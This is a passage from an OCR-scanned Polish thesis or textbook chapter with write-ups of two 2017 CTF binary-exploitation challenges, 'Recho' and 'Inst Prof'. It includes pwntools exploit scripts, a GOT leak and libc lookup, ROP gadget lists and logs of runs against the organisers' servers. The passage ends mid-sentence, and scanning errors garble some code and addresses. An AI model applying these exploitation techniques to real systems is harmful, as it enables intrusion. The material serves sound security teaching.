Wiasciwy eksploit realizuje pierwszy z wczes$niej przedstawionych przykladéw. Zostal on

napisany w jezyku Python 2.7.13 oraz wykorzystuje zewnetrzng biblioteke pwntools 3.6.1. Sktada

sie on z trzech plikoéw, ktore zostaly umieszczone w dodatku B:

o ropbase.py (listing A.1) — zawierajacego funkcje: uruchamiajaca proces lub polaczenie

zdalne, zamykajaca stdin lub koricéwke pisania gniazda (ang. socket write end) oraz funkcje

zwracajace tancuchy znakowe wykonujace jeden lub wiele gadzetéw,

o leak_got.py (listing A.2) — stuzacego do wycieku adreséw funkcji z GNU libc, aby pézniej

otrzymac wersje biblioteki znajdujaca sie na serwerze organizatoréw,

o get_ flag.py (listing A.3) — wlasciwego eksploitu, ktéry na bazie obliczonej odlegtosci mie-

dzy funkcjami system oraz read nadpisuje adres tej drugiej w GOT, a nastepnie wypisuje

flage.

Do przedstawionych skryptéw dodano komentarze tak, aby ich dzialanie bylo zrozumiale.

Skrypty przed wlasciwym wykonaniem (na serwerze organizatoréw) mozna réwniez przete-

stowaé¢ lokalnie. Pozwala na to funkcja get_proc_from_args, ktéra w zaleznosci od poda-

nych argumentéw, uruchamia proces lokalnie (lub tez pod debuggerem, lub pod programami

ltrace/strace) lub wykonuje zdalne polaczenie do serwera organizatoréw.

Poprzez wykonanie skryptu leak got.py otrzymano adresy danych funkcji z GNU libc

znajdujacych sie w GOT. Prezentuje to listing 9.9.
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Listing 9.9. Wyciek adreséw funkcji read, printf, alarm oraz atoi z GOT z serwera organizatorow.

$ ./leak_got.py REMOTE

[+] Opening connection to recho.2017.teamrois.cn on port 9527: Done
[*] Sending payload of length: 312

[*x] Closed remote write end

[+] Receiving all data: Done (42B)

[*] read: 0x7fe27e15b670
[%] printf: 0x7fe27e0ba800
[*] alarm: 0x7fe27e130650
[*] atoi: 0x7fe27e09be80

[*] Closed connection to recho.2017.teamrois.cn port 9527

W celu znalezienia biblioteki GNU libc znajdujacej si¢ na serwerze organizatorow oraz po-
zyskania z niej adresu funkcji system skorzystano z projektu libc-database® [53]. Zostalo to za-
prezentowane na listingu 9.10.

Uzyskujac adres funkcji system z biblioteki GNU libc mozna uzy¢ witasciwego eksploitu —
wyswietlajacego plik flag. Eksploit wymaga réwniez umieszczenia w pamieci tancucha znakéw,
ktory zostanie przekazany do funkcji system. W tym celu umieszczono tanicuch znakéw "cat
nie zakoriczony bajtem zerowym, zaraz przed lancuchem "f1ag" (zakonczonym bajtem zerowym)
znajdujacym sie w sekcji .data (linie 45-47 w skrypcie get__flag.py). Miejce w pamieci (adres

0x601054) mozna znalezé wykorzystujac IDA Pro, co prezentuje rysunek 9.4.

__dso_handle db 0]
db 0]
db 0 . Eksploit wpisuje do kolejnych
db [0} . komérek pamieci znaki:
db 0] ,o'c!
db 0] ;o'al
db 0] P
db 0 P
: public flag
3 flag db 'flag',o . tu juz jest "flag\xeo"
align 20h ; Dzieki temu pod adresem 0x601054
_data ends . znajduje sie ciag "cat flagixeo"

Rysunek 9.4. Miejce w pamieci gdzie umieszczono ciag "cat " przed ciagiem "flag". Zrzut z programu
IDA Pro.

Samo wykonanie eksploitu oraz zdobycie flagi — RCTF{10st_1n_th3_3ch0_d6794b} —
prezentuje listing 9.11.

3Projekt libc-database pozwala na $ciggniecie plikéw binarnych biblioteki GNU libc w réznych wersjach dla
réznych dystrybucji Linuxa oraz stworzenie na ich podstawie bazy danych adreséw symboléw. Nastepnie pozwala
on na wyszukiwaniu bibliotek, w ktérych dane symbole znajduja sie pod danymi adresami. Pod uwage brane sa

tylko te bity adresu, ktdre nie sa randomizowane.
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Listing 9.10. Wyciekanie adreséw funkcji read, printf, alarm oraz atoi z GOT z serwera organiza-

toréw.

// Wyszukiwanie biblioteki GNU libc z podanymi adresami funkcji

$ ./find read 0x7fe27el5b670 printf 0x7fe27e0ba800 alarm 0x7fe27el130650 atoi
— 0x7fe27e09be80

ubuntu-xenial—-amd64-1ibc6 (id libc6_2.23-0ubuntu77_amd64)

// Wyswietlanie informacji o danej bibliotece
$ ./dump libc6_2.23-0ubuntu7_amdé4

offset_ libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000£6d90

offset_read = 0x00000000000£6670

offset_write = 0x00000000000£66d0
offset_str_bin_sh = 0x18cl77

// Wyswietlanie informacji o adresach konkretnych funkciji
$ ./dump libc6_2.23-0Oubuntu7_amdé64 printf alarm read atoi
offset_printf = 0x0000000000055800

offset_alarm = 0x00000000000cb650

offset_read = 0x00000000000£6670

offset_atoi = 0x0000000000036e80

Listing 9.11. Wykonanie skryptu get_ flag.py, ktéry wypisuje zawarto$¢ pliku flag z serwera organiza-

torow.

[*x] '"/home/dc/rctf/Recho/Recho’

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)

[+] Opening connection to recho.2017.teamrois.cn on port 9527: Done
[*] Sending payload of length: 416

[*] Closed remote write end

[+] Receiving all data: Done (32B)

[*] Flag file content: 'RCTF{1lO0st_1n_th3_3ch0_d6794b}"

[*] Closed connection to recho.2017.teamrois.cn port 9527
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9.2. Zadanie ,,Inst Prof” z Google Quals CTF 2017

Informacje o zadaniu:

e Nazwa zadania: Inst Prof

e Konkurs: Google Quals CTF 2017

e Czas trwania CTF: 48 godzin

e Liczba druzyn, ktére rozwiazaly zadanie: 82

o Liczba punktéw do zdobycia: 147 (liczba punktéw przydzielana zespotom na koricu kon-
kursu byla zalezna od liczby nadestanych poprawnych flag)

e Opis zadania:

Please help test our new compiler micro-service
Challenge running at inst-prof.ctfcompetition.com:1337

inst_prof (binary attached)

9.2.1. Informacje podstawowe

Na listingach 9.12 oraz 9.13 zaprezentowano wynik dzialania programéw file oraz
checksec na dostarczonym programie. Jest to ELF skompilowany na architekture x86-64.
Ma on wlaczony bit NX, czeSciowe RELRO oraz PIE. Brak natomiast kanarka na stosie. Te

informacje moga okazaé sie przydatne w kolejnych krokach analizy.

Listing 9.12. Uruchomienie programu file na aplikacji Inst_ prof.
$ file inst_prof
‘inst_prof: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,

interpreter /1ib64/1d-linux-x86-64.s0.2, for GNU/Linux 2.6.24,
BuildID[shal]=61e50b540c3c8e7bcef3cb73£3ad2al0c2589089, not stripped

Listing 9.13. Zabezpieczenia programu Inst_ prof.

$ checksec --file ./inst_prof
[x] '/home/dc/gctf/inst_prof_pwnl/inst_prof'

Arch: amd64-64-1little
RELRO:

Stack: No canary found
NX: NX enabled

PIE: PIE enabled

9.2.2. Dziatanie programu

Na listingach 9.14 oraz 9.15 zaprezentowano przyktadowe uruchomienie programu. Na li-
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stingu 9.15 przedstawiono wykonanie programu przy uzyciu strace, ktéry sledzi wywolania

systemowe. Dzialanie programu przy przekazaniu ciggu ,,abcd” w momencie, gdy program prosi

uzytkowanika o podanie informacji mozna podsumowaé w nastepujacych punktach:

Wypisywany jest ciag ,initializing prof...”,

Program zatrzymuje swoje dziatanie na 5 sekund,

Wypisywany jest tancuch znakéw ,ready”,

Program oczekuje podania tekstu na standardowe wejscie,

Alokowany jest obszar pamieci,

Program pobiera podany tekst znak po znaku,

Zmieniane sy uprawnienia do wczesniej zaalokowanego obszaru pamieci,

Program otrzymuje sygnal SIGILL (illegal instruction), ktorego obstuga nie zostala weze-
$niej zarejestrowana, przez co program wykonuje/wykonywana jest domyslna akcje — proces

jest zakariczany?.

Listing 9.14. Przykladowe uruchomienie programu Inst_ prof.

$ echo "abed" | ./inst_prof

initializing prof...ready

Illegal instruction (core dumped)

4Informacje o sygnatach oraz ich domys$lnych akcjach mozna znalezé w manualu Linuksa (man 7 signal).
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Listing 9.15. Sledzenie wywolaii systemowych programu inst_prof przy uzyciu strace. Na zielono

— komentarze wyjaéniajace poszczegdlne wywolania systemowe.

$ echo "abed" | strace ./inst_prof

// execve - zamiana obecnego procesu na inst_prof

execve ("./inst_prof", ["./inst_prof"], 0x7fff50331310 /* 69 vars /) = 0
// (...) — wycieto wywolania systemowe zwiagzane z inicjalizacja procesu
// write - program wypisuje ciag ,,initializing prof..."''

write(l, "initializing prof...", 20initializing prof...) = 20

// nanosleep - program usypia na 5 sekund

nanosleep ({tv_sec=5, tv_nsec=0}, O0x7f£f£f433633f0) = 0

alarm(30) = 0 // alarm - program ustawia alarm na 30 sekund

write(l, "ready\n", 6ready // write - program wypisuje ciag ,,ready"'’

) = 6

// mmap - alokacja pamieci o rozmiarze 4096 bajtdédw z uprawnieniami do odczytu i zapisu
mmap (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE |MAP_ANONYMOUS, -1, 0)

= 0x7£0806d84000 // adres zaalokowanego obszaru

read (0, "a", 1) =1 // read x4 - czytanie znakdéw z stdin (deskryptor pliku - £d=0)
read (0, "b", 1) =1

read (0, "c", 1) =1

read (0, "d", 1) =1

// mprotect - zmiana uprawnien do zaalokowanej wczes$niej strony pamieci

// na do odczytu oraz wykonywania

mprotect (0x7£0806d84000, 4096, PROT_READ|PROT_EXEC) = 0

// program otrzymuje sygnat SIGILL, a nastepnie zakancza swoje dziatanie

// ze wzgledu na brak wczesniejszego zarejestrowania obsiugi tego sygnaitu

——— SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0x7£0806d84005} —--—-

+++ killed by SIGILL (core dumped) +++

Illegal instruction (core dumped)
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9.2.3. Analiza statyczna dzialania programu

Do analizy statycznej programu wykorzystano dekompilator Hex-rays w IDA Pro. Na li-

stingu 9.16 umieszczono najwazniejsze funkcje programu — main oraz do_test. Pelny zdekompio-

wany kod, wraz z komentarzami w celu utatwienia zrozumienia pelnego jego dzialania, umiesz-

czono w dodatku na listingu B.1.
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Listing 9.16. Kod zdekompilowanej funkcji do_test programu Inst_ prof.

int do_test () {

void xmem; // rbx@1

char b; // al@l

unsigned __int64 time_start; // r12@1

unsigned __int64 time_end; // [sp+8h] [bp-18h]@1

mem = alloc_page(); // alokuje strone pamieci RW o rozmiarze 4kB

// kopiowanie do bufora/pamieci ‘mem’ szablonu kodu

// (gdyz template zawiera kod maszynowy, jak zostalo pokazane nizej)
// ponizsze linie sg odpowiednikiem wykonania funkcji:

// memcpy (mem, template, 15);

* (_QWORD *)mem = * (_QWORD «)template;

* ((_DWORD x)mem + 2) = x((_DWORD x)template + 2);

b = »((_BYTE «*)template + 14);

* ((_WORD x)mem + 6) = = ((_WORD *)template + 6);

*((_BYTE *)mem + 14) = b;

// czyta 4B z stdin 1 wpisuje je w sSrodek skopiowanego kodu
read_inst ( (char *)mem + 5);
// zmienia atrybuty strony pamieci na RX (odczyt oraz wykonywanie)

make_page_executable (mem) ;

// wykonuje "funkcje" znajdujaca sie w pamieci ‘mem’

// oraz mierzy jej czas dziatlania (poprzez instrukcje rtdsc)

time_start = _ rdtsc();
((void (_ fastcall «) (void +*))mem) (mem) ;
time_end = __ rdtsc() - time_start;

// wypisuje zmierzony czas, konczy program jesli wypisanie sie nie powiodio
if ( write(l, &time_end, 8ulLL) != 8 )

exit (0);
// zwalnia strone pamieci

return free_page (mem);
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Jak mozna zobaczy¢ na pelnym listingu (B.1) funkcja main wykonuje w nieskoriczonej petli
funkcje do_test, ktéra z kolei wykonuje nastepujace rzeczy:
o Alokuje strone pamieci o rozmiarze 4096 bajtéw z uprawieniami czytania i pisania (warto$¢
3 - PROT_READ | PROT_WRITE) poprzez funkcje mmap.
o Kopiuje do zaalokowanej pamieci przedstawiony na rysunku 9.5 szablon kodu, ktéry za-

wiera petle z 4096 iteracjami oraz czterema instrukcjami nop, jakie nastepnie nadpiszemy.

MIZE

. template - szablon kodu
; ecx - licznik petli

public template
template proc near

mov ecx, C
vy
il i (=]
loop_iter: . 4 puste instrukcje, ktdére nadpisujemy
nop
nop
nop
nop
sub ecx, 1 , dekrementacja licznika petli
inz short loop_iter ; skok do kolejnej iteracji jesli licznik=0
"
i
il ) =]
retn ;o wyjscie z funkcji

template endp

_rodata ends

Rysunek 9.5. Szablon kodu, ktory jest kopiowany do zaalokowanej pamieci, w ktérym zmieniamy 4 bajty

(instrukcje nop).

e Czyta cztery bajty i wpisuje je wewnatrz zaalokowanego obszaru nadpisujac skopiowanie
z szablonu kodu instrukcje nop.

e Zmienia uprawnienia zaalokowanego obszaru pamieci na do odczytu i wykonywania (war-
to§¢ 5 —PROT_READ | PROT_EXEC) przy uzyciu funkcji mprotect. Od tego momentu ten
obszar pamieci bedziemy nazywaé funkcja mem (zgodnie z nazwa wskaznika na ten obszar
w zdekompilowanym kodzie).

o Wykonuje kod znajdujacy sie w zaalokowanym obszarze i liczy jego czas wykonywania przy
uzyciu licznika procesora (instrukcji rtdsc).

o Wypisuje licznik na standardowe wyjscie.

e Zwalnia zaalokowany wcze$niej obszar pamieci funkcjg munmap.

Najwazniejsza informacja, ktéra mozna odnalezé podczas tej analizy jest fakt, ze jestesmy

w stanie podaé¢ do programu cztery bajty, ktére zostang umieszczone w kodzie szablonu, a na-
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stepnie wykonane 4096 razy (z powodu obecnosci petli w szablonie). Mozna réwniez sprawié, ze
podany kod zostanie wykonany jeden raz poprzez podanie w nim opkodu instrukcji ret, ktéra ma
dhugosé doktadnie jednego bajtu. Oczywisdcie ogranicza to miejsce na podanie innych instrukcji

do trzech bajtéw.

9.2.4. Mozliwo$¢ wycieku pamieci

Fakt wypisywania przez program na standardowe wyjscie zmierzonego czasu wykonania sie
funkcji mem mozna wykorzysta¢ w celu wykonania wycieku pamieci. Taki atak mozna przepro-
wadzi¢ wykonujac nastepujace kroki:

o Umieszczenie wybranego adresu w rejestrze (np. R14),

e Pobranie wartosci znajdujacej sie w tym rejestrze: mov r15, DWORD PTR [r14],

¢ Wykonanie operacji bitowej AND w celu otrzymania w rejestrze R15 wartoséci danego bitu

badanej wartosci: and ri1s, 1,
e Zmierzenie i poréwnanie czasu wykonania instrukcji sub rcx, r15 po wykonaniu powyz-

szych krokow oraz gdy w rejestrze R15 znajduje sie wartosé 0.

Jezeli czas wykonania funkcji mem zawierajacej instrukcje sub rex, r15 wraz ze wszystkimi
poprzednimi krokami jest zblizony do czasu wykonania jej bez tych krokéw oraz gdy w R15 znaj-
duje si¢ wartos¢ zero, to badany bit ma warto$é¢ zero. W przeciwnym przypadku jest to wartos¢ 1.
Pojecie ,,zblizonego czasu” nalezy okredli¢ eksperymentalnie.

Oczywiscie przedstawiony powyzej pomyst opisuje prébe odczytania jedynie pierwszego bitu.
Dla innych bitéw nalezaloby dodaé przesunigcie bitowe w prawo wartoéci przechowywanej w R15
—shr r15, X—wykonane przed and r15, 1.X oznacza indeks bitu, ktérego wartosc chcieliby$my
poznac.

Przedstawiona idea nie zostala wykorzystana w finalnym skrypcie.

9.2.5. Podstawowy skrypt

Na listingach 9.17 przedstawiono podstawowy skrypt, ktéry bedzie nastepnie modyfikowany.
Jego wynik dzialania umieszczono na listingu 9.18. Skrypt ten mozna uruchomié jako:
e ./hack.py — uruchamia proces lokalnie,
e ./hack.py GDB — uruchamia proces przez GDB i ustawia punkt przerwania (ang. bre-
akpoint) przed wywolaniem kodu szablonu (¢do_test+86)
e ./hack.py GDB="break main" — uruchamia proces przez GDB z uzyciem podanego
skryptu GDB — w tym przypadku ustawienie przerwania na funkcji main,
e ./hack.py REMOTE — laczy si¢ z serwerem organizatordw.
W skrypcie zdefiniowana zostata réwniez funkcja send_instr, ktéra asembluje podane in-
strukcje, sprawdza, czy wynikowy ciag znakdéw ma cztery bajty — jesli nie, to dopelnia go kodem

operacji instrukcji ret, co spowoduje szybsze wyjscie z funkcji mem.

— 141 —



9.2. Zadanie ,Inst Prof” z Google Quals CTF 2017

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

Listing 9.17. Podstawowy skrypt eksploitu do zadania Inst_ prof.

#!/usr/bin/env python
# coding: utf8

from pwn import x # import modutu pwntools

binary = './inst_prof'
host, port = 'inst-prof.ctfcompetition.com:1337"'.split(':")
port = int (port)

e = ELF (binary) # Zadujemy plik ELF zeby pogra¢ jego metadane
context.os = 'linux' # Ustawiamy kontekst: system oraz architekture

context.arch = e.arch # nie musimy podawac¢ tych argumentdédw do funkcji asm(..)

# Obstuga argumentdw programu

if args['REMOTE']:
p = remote (host, port)

elif args['GDB']:
gdbscript = args['GDB'] if args['GDB'] != 'True' else 'break x&do_test+86"
p = gdb.debug(binary, gdbscript=gdbscript)

else:

p = process (binary)

def send_instr(instrs):
payload = asm(instrs)
# Upewniamy sie, czy instrukcje nie przekraczaja rozmiaru wejscia (4B)

o

assert len(payload) <= 4, "Payload too long: %s" % instr

while len(payload) < 4: # Dodaje pozostate bajty instrukcjami "ret’
payload += asm('ret') # (ktdére maja doktadnie 1 baijt)
p.send(payload)

# Ponizsze dwie linie moga zostac¢ uzyte do wypisania licznika

# wypisywanego przez program, a co za tym idzie, do wycieku pamieci.
# Nie zostaty one wykorzystane w finalnym skrypcie.

rtdsc = u64 (p.recv(8))

print ('Timer value: Ox%$x\tfor\t%$s' % (rtdsc, instrs))

# Odbieramy od programu ciag wejsciowy,
# Wysylamy przyktadowa instrukcije,
# Przechodzimy w tryb interaktywny

info('Receiving HELLO: %s' % p.recvuntil('initializing prof...ready\n'))

send_instr ('nop')

p.interactive ()
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Listing 9.18. Wykonanie skryptu z listingu 9.17.

$ ./hack.py
[*x] '/home/dc/gctf/inst_prof_pwnl/inst_prof'

Arch: amd64-64-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: PIE enabled

[+] Starting local process './inst_prof': pid 14205
[*] Receiving HELLO: initializing prof...ready
Timer value: Oxca for nop

[*] Switching to interactive mode

$ abcd

[*] Got EOF while reading in interactive

$
[*] Process './inst_prof' stopped with exit code -4 (SIGILL) (pid 14205)

[*] Got EOF while sending in interactive

9.2.6. Modyfikacja programu — usuniecie wywolania sleep

Jak mozna bylo zaobserwowaé wczesniej, program na poczatku zatrzymuje swoje dziatanie
na 5 sekund poprzez wykonanie funkcji s1eep. Funkcja ta nie wpltywa w zaden sposoéb na dalsze
dzialanie programu, a jedynie spowalnia wykonywanie kolejnych prob rozwiazania zadania.

W celu zaoszczedzenia czasu mozna usunaé wywolanie funkcji sieep. Aby to zrobié nalezy
poznac adres instrukcji call _sleep. Mozna tego dokonaé przy uzyciu narzedzia IDA Pro w wi-
doku grafu, co przedstawiono na rysunku 9.6. Przed tym nalezy wlaczy¢ opcje ,,Line prefizes

(graph)”, ktéra mozna znalezé w zakladce Options->General.

L J
il s =]
loc_887: ; seconds
mov edi, 5
call _sleep
mov edi, 30 , seconds
call _alarm
lea rsi, aReady ; 'readyin"
mov edx, 6 ;. n - liczba bajtdéw do wypisania
mov edi, 1 ; fd=1 - wypisz na stdout
call _write
cmp rax, 6
inz short loc_880

vy _ v

Rysunek 9.6. Zrzut z IDA Pro — kod asemblera odpowiedzialny za wywolanie funkcji sleep.

Instrukcja call _sleep znajduje si¢ pod adresem 0x88C (adres jest bardzo krétki z powodu
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wlaczonego PIE) i ma rozmiar pieciu bajtéw. Rozmiar ten mozemy odnalezé poprzez odjecie
adresu kolejnej instrukcji od obecnej: 0x891-0x88C = 5. Bedac w posiadaniu tej informacji
mozemy teraz umiesci¢ tam pie¢ instrukcji nop, gdyz instrukcja ta ma rozmiar jednego bajta,
co mozna sprawdzi¢ przy uzyciu konsolowego programu pwn z pakietu pwntools w nastepujacy
sposob:

$ pwn asm —--context 64 "nop"
90

Program pwn zwraca opkody podanych instrukcji w formacie heksadecymalnym. Jak mozna
zobaczy¢, wartosé¢ 0x90 to kod operacji instrukcji nop.
Nadpisania instrukcji mozna dokonaé przy pomocy modulu pwntools, na przyktad w inte-

raktywnej powloce jezyka Python — IPython:

1 In [1l]: import pwn

2 In [2]: e = pwn.ELF('./inst_prof')

3 In [3]: e.write(0x88C, pwn.asm('nop;' * 5, os='linux', arch='amdé64'))
4 In [4]: e.save()

Po takiej operacji warto rowniez sprawdzi¢, czy modyfikacja zostala przeprowadzona popraw-
nie — na przyktad poprzez ponowng analize zdeasemblowanego kodu, co zostato zaprezentowane
na rysunku 9.7. Jak mozna zobaczy¢, program zostal zmodyfikowany poprawnie i nie wykorzy-

stuje juz funkcji s1eep.

A 4

il i =]
loc_887:
mov edi, 5
nop . nadpisana instrukcja ‘call _sleep’
nop
nop
nop
nop
mov edi, 1Eh ; seconds
call _alarm
lea rsi, aReady o "readyin"
moyv edx, 6 . n - liczba bajtéw do wypisania
mov edi, 1 , fd=1 - wypisz na stdout
call _write
cmp rax, 6
jnz short loc_880

vy o v

Rysunek 9.7. Zrzut z IDA Pro — wywolanie funkcji sleep zostalo nadpisane instrukcjami nop.
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9.2.7. Instrukcje o maksymalnej dtugosci czterech bajtow

Podczas kazdego wywotania funkcji do_test mozemy przekaza¢ cztery bajty. W tabeli 9.1
przedstawiono przyktadowe instrukcje oraz opkody, do ktorych sa one tlumaczone. Instrukcje
krétsze niz cztery bajty wymagaja dopelnienia instrukcjg nop lub ret w celu uzyskania dlugosci

czterech bajtéw.

Tabela 9.1. Przyktadowe instrukcje.

Opkody Bajty Instrukcja Komentarz

48 31 cO 3 Xor rax, rax -

4d 31 ff 3 xor rl5, rl5 -

49 83 £7 40 4 xor rl5, 64 zakres argumentu: [-128, 127]
49 81 £7 00 04 00 00 7 xor rl5, 1024 ponad cztery bajty

31 c0 2 xor eax, eax zeruje rejestr RAX

83 £0 40 3 xor eax, 64 zakres argumentu: [-128, 127]
35 00 02 00 00 2 xor eax, 512 ponad cztery bajty

48 c7 ¢3 01 00 00 00 7 mov rbx, 1 ponad cztery bajty

bb 01 00 00 00 5 mov ebx, 1 ponad cztery bajty

66 bb 01 00 4 mov bx, 1 -

ff ca 2 dec edx -

66 ff ca 3 dec dx rozmiar wiekszy od dec edx
49 ff cf 3 dec rl5 -

ff c2 2 inc edx -

66 ff c2 3 inc dx rozmiar wigkszy od inc edx
48 ff c2 3 inc rdx -

49 ff c7 3 inc rl5 -

dl e2 2 shl edx -

49 dl e7 3 shl rl5 -

49 dl ef 3 shr rl5 -

4d 89 f£5 3 mov rl3, rl4 -

4d 8b 3e 3 mov rl5, [rl4] -

4d 8b 7e 20 4 mov rl5, [r14+32] -

4d 89 37 3 mov [rl5], rl4 -

44 89 77 40 4 mov [rl5+64], rl4 zakres offsetu: [-128, 127]
4d 89 b7 80 00 00 00 7 mov [r15+128], rl4 ponad cztery bajty

4d 8d 7d 7f 4 lea rl5, [r13+127] zakres offsetu: [-128, 127]
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9.2.8. Stan programu wewnatrz wywolan kolejnych funkcji mem

Na samym poczatku warto sprawdzi¢ jak wyglada stan programu wewnatrz kolejnych wywo-
tan funkcji mem. W tym celu mozna wlaczy¢ podany wczeéniej skrypt poleceniem . /hack.py
GDB i uzy¢ komend GDB — continue oraz si (skrét od ang. step instruction). Pierwsze polece-
nie kontynuuje program, przez co zatrzyma sie on na punkcie przerwania — adresie sdo_test+86,
czyli instrukcji ca1l rbx, ktéra powoduje skok do funkcji mem. Na rysunku 9.8 zaprezentowano

zrzut ekranu bezposrednio po wykonaniu tych polecen.

Breakpoint *&do test+86

pwndbg> si

0x00007fe54c924000 in 77 ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]
RAX 0x0

RBX 0x7fe54c924000 «— mov ecx, 0x1000

RCX 0Ox7fe54c43al77 (mprotect+7) «— cmp rax, -Oxfff

RDX 0x578d00000000

RDI 0x7fe54c924000 «— mov ecx, 0x1000

RSI 0x1000

R8 OXFIffffffffffffff

R9 0x0

R10 0x49e

R11 0x202

R12 0x578ddc62e7fa

R13 0x7ffc487el770 «— 0OXx1

R14 0x0

R15 0Ox0

RBP 0x7ffcas7el — Ox7ffc487e1690 — 0x555c562b3b60 ( 1libc csu init) «— push ris
*RSP 0x7ffc487el658 — 0x555c562b3b18 (do test+88) «— rdtsc
*RIP 0x7fe54c924000 «— mov ecx, 0x1000

[ DISASM ]
» 0x7fe54c924000 mov ecx, 0x1000

0x7fe54c924005 nop

0x7fe54c924006 ret

.

0x555¢c562b3b18 <do test+88> rdtsc

0x555c562b3bla <do test+90> mov edi, 1

0x555¢562b3b1f <do test+95> shl rdx, 0x20

0x555¢562b3b23 <do test+99> lea rsi, qword ptr [rbp - ©x18]

0x555¢562b3b27 <do test+103> or rdx, rax

0x555c562b3b2a <do test+106> sub rdx, ril2
0x555¢562b3b2d <do test+109> mov qword ptr [rbp - ©x18], rdx
0x555¢562b3b31 <do test+113> mov edx, 8

[ STACK ]
00:0000( rsp 0x7ffc487el1658 — 0x555c562b3b18 (do test+88) «— rdtsc
01:0008 s 0x0
02:0010 0xce3a96b1b134e600
03:0018 0x0
04:0020 0x555c562b38c9 ( start) «— xor ebp, ebp
05:0028| rbp Ox7ffc487e1690 —» 0x555c¢562b3b60 ( 1libc csu init) «— push ris
06:0030 0x555c562b38c7 (main+103) «— jmp 0x555¢c562b38cO
07:0038 87€1696 0x555c562b3b60 ( libc csu init) «— push ris
[ BACKTRACE ]
- f 0 7fe54c924000
f1 555¢562b3b18 do test+88
f2 555¢562b38c7 main+103
f3 7fe54c369f6a _ libc start main+234
pwndbg> D

Rysunek 9.8. Stan programu podczas wykonywania funkcji mem.

Nastepnie zobaczmy czy wartosci niektorych rejestrow sa zachowywane pomiedzy kolejnymi
wykonaniami mem. Mozna to sprawdzi¢ modyfikujac skrypt bazowy i wstawiajac w miejsce

send_instr ('nop') linie, ktore zostaly przedstawione na listingu 9.19.
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Listing 9.19. Kod ktéry zamieniajac linie send_instr ('nop') z skryptu podstawowego (listing 9.17)
pozwoli na zobaczenie czy warto$ci poszczegdlnych rejestrow sa zachowane pomiedzy kolejnymi wykona-

niami mem.

1 # Rejestry, ktdére sprawdzimy - bez RCX poniewaz Jjest to licznik petli
2 regs = ('rax', 'rbx', 'rdx', 'rsi', 'rdi',

s 'rg8', 'r9', 'rio', 'ri1l', 'ri2z2', 'rl3', 'rl4', 'rl5'")

5 for reg in regs:

6 # Informacja jaki rejestr zostanie teraz zmodyfikowany
7 info('Modyfing %s register' % req)

8 # Zmiana wartosci konkretnego rejestru na wartosé¢ RI+32
9 send_instr('lea %s, [r9+32]' % req)

Po takiej zmianie nalezy ponownie wlaczy¢ skrypt z GDB i zatrzymaé si¢ w tym samym
miejscu — zanim zostanie wykonana instrukcja <do_test+86> call rbx. Po kontynuowaniu
wykonania programu i sprawdzeniu wartosci rejestréw mozna zobaczy¢, ze jedyne rejestry, kté-
rych wartosdci pozostaly niezmienione to R13, R14 oraz R15. Mozna zatem pobra¢ wartosci ze
stosu do tych rejestréw, przeprowadzi¢ operacje zmieniajace wartosci w rejestrach, a nastepnie
zapisa¢ wynik z powrotem na stos.

Przyktadowo wartos¢ z adresu RBP-8 mozna pobra¢ do rejestru R14 wykonujac kolejno
funkcje mem, tak, aby wykonaly sie nastepujace instrukcje:

; Obliczenie adresu RBP-8 oraz zapisanie go w RI15
lea rl5, [rbp-8]

; dereferencja R15 i zapis uzyskanej wartosci do R14
mov rl4, [rl5]

Nastepnie, po wykonaniu operacji na rejestrze, warto$¢ mozna zapisa¢ z powrotem na stos

— na przyktad pod adres RBP+8 — wykonujac instrukcje:

mov [rbp+8], rl4

Bedac w posiadaniu tych informacji mozna przygotowa¢ rozwigzanie korzystajac z techniki
ROP?®. Ze wzgledu na to, ze program ma wlaczone PIE oraz nie znamy adresu bazowego sekcji
kodu, nalezy zdoby¢ dowolny adres wskazujacy na te sekcje. Jak zostanie pdzniej zaprezento-
wane, na stosie znajduje sie wiele adreséw, ktére bedzie mozna skopiowaé lub zmodyfikowaé aby

wskazywaly na interesujace miejsce.

5Opisanej w sekcji 8.5.
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9.2.9. Przygotowanie eksploita

Listing 9.20 prezentuje wynik dzialania programu ropper. Program ma jedynie 148 ga-
dzetéw, z czego mato jest uzytecznych gadzetéw — nie ma na przyklad wsréd nich instrukcji

syscall.

Listing 9.20. Wyszukiwanie gadzetéw w programie Inst_ prof przy uzyciu ropper. Wyjscie z programu

zostato skrocone dla lepszej czytelnosci.

$ ropper —--file Recho
[INFO] Load gadgets for section: PHDR
[INFO] Load gadgets for section: LOAD

[LOAD] removing double gadgets... 100%

0x000000000040070d: add byte ptr [rdi], al; ret;
0x00000000004006£f9: add ebx, esi; ret;

0x00000000004005b2: add rsp, 8; ret;

0x00000000004009db: jmp gword ptr [rbp]l;

0x0000000000400685: jmp rax;

0x000000000040082e: mov eax, 0; leave; ret;
0x000000000040071b: mov rbp, rsp; call rax;
0x000000000040089c: pop rl2; pop rl3; pop rlé4; pop rl5; ret;
0x000000000040089%9e: pop rl3; pop rl4; pop rl5; ret;
0x00000000004008a0: pop rl4; pop rl5; ret;
0x00000000004008a2: pop rl5; ret;

0x00000000004006fc: pop rax; ret;

0x000000000040089b: pop rbp; pop rl2; pop rl3; pop rléd; pop rl5; ret;
0x000000000040089f: pop rbp; pop rl4d; pop rl5; ret;
0x0000000000400690: pop rbp; ret;

0x00000000004008a3: pop rdi; ret;

0x00000000004006fe: pop rdx; ret;

0x00000000004008al: pop rsi; pop rlb5; ret;
0x000000000040089d: pop rsp; pop rl3; pop rlé4; pop rl5; ret;
0x0000000000400833: leave; ret;

0x000000000040078e: nop; pop rbp; ret;

0x00000000004005b6: ret;

/()

118 gadgets found

Poza gadzetami mozna réwniez skorzystaé z funkcji istniejacych w programie.
W celu rozwiazania zadania przygotowano skrypt, ktéry alokuje strone pamieci o wielko-

Sci 4kB i ma uprawnienia do odczytu oraz zapisu przy uzyciu alloc_page. Wezytuje on do tej

— 148 —



9. Analiza wybranych probleméw

pamieci shellcode, zmienia jej uprawnienia na do odczytu oraz wykonywania poprzez funkcje
